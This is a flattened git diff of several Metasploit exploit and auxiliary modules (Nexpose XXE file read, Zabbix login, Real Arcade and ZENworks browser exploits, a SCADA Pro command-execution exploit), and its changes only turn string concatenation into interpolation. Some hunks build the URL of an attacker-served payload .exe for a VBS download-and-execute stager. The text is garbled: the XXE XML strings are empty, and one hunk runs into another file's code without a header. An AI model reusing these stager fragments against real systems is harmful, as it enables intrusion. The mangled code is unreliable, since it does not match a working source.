diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 90b921aae4..c55a974bc0 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -74,7 +74,7 @@ class Metasploit4 < Msf::Auxiliary xml = '' - xml << '' + xml << %Q{} xml << ']>' xml << ' 'POST', 'uri' => '/zabbix/', - 'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in' + 'data' => "request=&name=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&enter=Sign+in" }) login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"])) diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb index 2245784998..c2afc67f27 100644 --- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb +++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote # Payload's URL payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe" + payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe" # Create the stager (download + execute payload) stager_name = rand_text_alpha(6) + ".vbs" diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index f319496cb4..6e66961670 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote # Payload's URL payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe" + payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe" # Create the stager (download + execute payload) stager = build_vbs(payload_src) diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index fe99df9652..4a8e6d2e04 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote end payload_src = lhost - payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe" + payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe" stager_name = rand_text_alpha(6) + ".vbs" stager = build_vbs(payload_src, stager_name)